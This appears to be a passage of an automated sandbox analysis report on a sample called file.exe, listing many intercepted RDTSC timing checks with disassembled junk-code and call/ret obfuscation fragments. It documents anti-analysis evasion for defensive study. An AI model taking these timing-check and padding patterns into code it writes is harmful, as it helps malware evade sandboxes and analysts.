                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113775F second address: 1137765 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1137765 second address: 1137769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1137769 second address: 113778B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FBF09325AC4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FBF09325AB6h 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11367A8 second address: 11367B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FBF08D33348h 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11367B8 second address: 11367C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FBF09325AB6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11367C5 second address: 11367E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jbe 00007FBF08D33346h 0x0000000e jbe 00007FBF08D33346h 0x00000014 jns 00007FBF08D33346h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1136957 second address: 113697E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jnc 00007FBF09325AB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1136E7B second address: 1136E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBF08D33346h 0x0000000a pop edi 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A379 second address: 113A389 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A3F5 second address: 113A456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007FBF08D33348h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 push 00000000h 0x00000023 call 00007FBF08D33349h 0x00000028 jmp 00007FBF08D3334Fh 0x0000002d push eax 0x0000002e pushad 0x0000002f jmp 00007FBF08D33359h 0x00000034 jl 00007FBF08D3334Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A456 second address: 113A4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a jmp 00007FBF09325ABAh 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 popad 0x00000016 mov eax, dword ptr [eax] 0x00000018 jnl 00007FBF09325ADCh 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A4A8 second address: 113A4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A4AD second address: 113A562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 or edi, 013CEBD2h 0x0000000f push 00000003h 0x00000011 jmp 00007FBF09325ABEh 0x00000016 push 00000000h 0x00000018 jmp 00007FBF09325AC7h 0x0000001d push 00000003h 0x0000001f jmp 00007FBF09325ABEh 0x00000024 movsx esi, bx 0x00000027 push 971AC9C5h 0x0000002c jmp 00007FBF09325AC1h 0x00000031 xor dword ptr [esp], 571AC9C5h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007FBF09325AB8h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 mov cx, B9B8h 0x00000056 sub dword ptr [ebp+122D1CBCh], eax 0x0000005c lea ebx, dword ptr [ebp+124502F6h] 0x00000062 jnl 00007FBF09325ABCh 0x00000068 or esi, dword ptr [ebp+122D28B5h] 0x0000006e push eax 0x0000006f pushad 0x00000070 jmp 00007FBF09325ABCh 0x00000075 push esi 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A5A8 second address: 113A5DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FBF08D3334Eh 0x0000000e jg 00007FBF08D33348h 0x00000014 popad 0x00000015 nop 0x00000016 mov si, dx 0x00000019 push 00000000h 0x0000001b add dword ptr [ebp+122D2252h], ebx 0x00000021 push C425450Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 push edi 0x00000029 pushad 0x0000002a popad 0x0000002b pop edi 0x0000002c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A5DF second address: 113A5F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF09325AC0h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A6D9 second address: 113A6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A6DD second address: 113A6EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A6EC second address: 113A704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D33354h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A704 second address: 113A781 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jp 00007FBF09325ACAh 0x0000000f lea ebx, dword ptr [ebp+124502FFh] 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FBF09325AB8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f call 00007FBF09325AC9h 0x00000034 mov dword ptr [ebp+122D1CAFh], eax 0x0000003a pop edx 0x0000003b movsx edi, si 0x0000003e push eax 0x0000003f jbe 00007FBF09325AC2h 0x00000045 jc 00007FBF09325ABCh 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A826 second address: 113A83B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007FBF08D33346h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A83B second address: 113A83F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A83F second address: 113A851 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBF08D33346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A851 second address: 113A855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A855 second address: 113A86E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF08D33346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f je 00007FBF08D33354h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A86E second address: 113A872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A872 second address: 113A907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 add edi, dword ptr [ebp+122D2452h] 0x0000000d push 00000003h 0x0000000f mov si, 8740h 0x00000013 push 00000000h 0x00000015 mov ch, ah 0x00000017 push 00000003h 0x00000019 mov esi, edx 0x0000001b jmp 00007FBF08D33356h 0x00000020 push 8F144212h 0x00000025 jnc 00007FBF08D3335Ah 0x0000002b xor dword ptr [esp], 4F144212h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007FBF08D33348h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D24D7h], esi 0x00000052 lea ebx, dword ptr [ebp+1245030Ah] 0x00000058 mov di, 5B44h 0x0000005c xchg eax, ebx 0x0000005d push ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 jg 00007FBF08D33346h 0x00000066 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A907 second address: 113A92E instructions: 0x00000000 rdtsc 0x00000002 je 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBF09325AC9h 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113A92E second address: 113A938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FBF08D33346h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 114CAAB second address: 114CAAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115B2D8 second address: 115B2DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115B2DC second address: 115B319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBF09325AC0h 0x0000000e jmp 00007FBF09325AC8h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115B319 second address: 115B31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11299DF second address: 11299E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11299E6 second address: 11299F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FBF08D33346h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11299F0 second address: 11299F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1159289 second address: 115928D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115928D second address: 11592B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBF09325AC1h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11596BD second address: 11596C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1159820 second address: 115982E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11599B2 second address: 11599B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11599B8 second address: 11599BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11599BE second address: 11599C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11599C2 second address: 11599C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1159C35 second address: 1159C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1159C3E second address: 1159C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1159C44 second address: 1159C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1159C48 second address: 1159C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1159C58 second address: 1159C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1159C5C second address: 1159C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FBF09325AC2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1159C6C second address: 1159C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A0AC second address: 115A0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC9h 0x00000009 pop ecx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A0CA second address: 115A0D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A0D0 second address: 115A0D6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A0D6 second address: 115A0E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FBF08D33352h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A0E4 second address: 115A0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A0EA second address: 115A0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A0F4 second address: 115A100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBF09325AB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A100 second address: 115A10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A10B second address: 115A10F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A2A1 second address: 115A2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A2A5 second address: 115A2A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A2A9 second address: 115A2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBF08D33346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A2B8 second address: 115A2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC3h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A2D7 second address: 115A2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115A2DB second address: 115A2EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1151D8A second address: 1151D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115AA4E second address: 115AA73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC2h 0x00000007 jmp 00007FBF09325ABFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115CF93 second address: 115CF98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115E8CE second address: 115E8D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115E8D2 second address: 115E8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FBF08D3334Dh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115E8F1 second address: 115E8F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 115EA45 second address: 115EA5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33354h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1166EE4 second address: 1166F04 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBF09325AB6h 0x00000008 jmp 00007FBF09325AC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1166F04 second address: 1166F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Ch 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1166286 second address: 116629C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBF09325AB6h 0x0000000a jmp 00007FBF09325ABBh 0x0000000f popad 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116629C second address: 11662A1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11662A1 second address: 11662BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jl 00007FBF09325AB6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jl 00007FBF09325AE9h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11662BF second address: 11662C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116670E second address: 1166712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1166712 second address: 116672C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33350h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1166A0D second address: 1166A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1166A13 second address: 1166A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1166A19 second address: 1166A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FBF09325ABEh 0x0000000b jmp 00007FBF09325ABBh 0x00000010 jne 00007FBF09325AB6h 0x00000016 popad 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1166A3F second address: 1166AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FBF08D33355h 0x0000000a je 00007FBF08D33346h 0x00000010 jmp 00007FBF08D33356h 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007FBF08D3334Fh 0x0000001c jmp 00007FBF08D33358h 0x00000021 jns 00007FBF08D33346h 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FBF08D3334Dh 0x00000031 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1166AB6 second address: 1166ABB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1169218 second address: 116921D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116921D second address: 1169223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116B76C second address: 116B77B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116B8DC second address: 116B8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116BC69 second address: 116BC6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
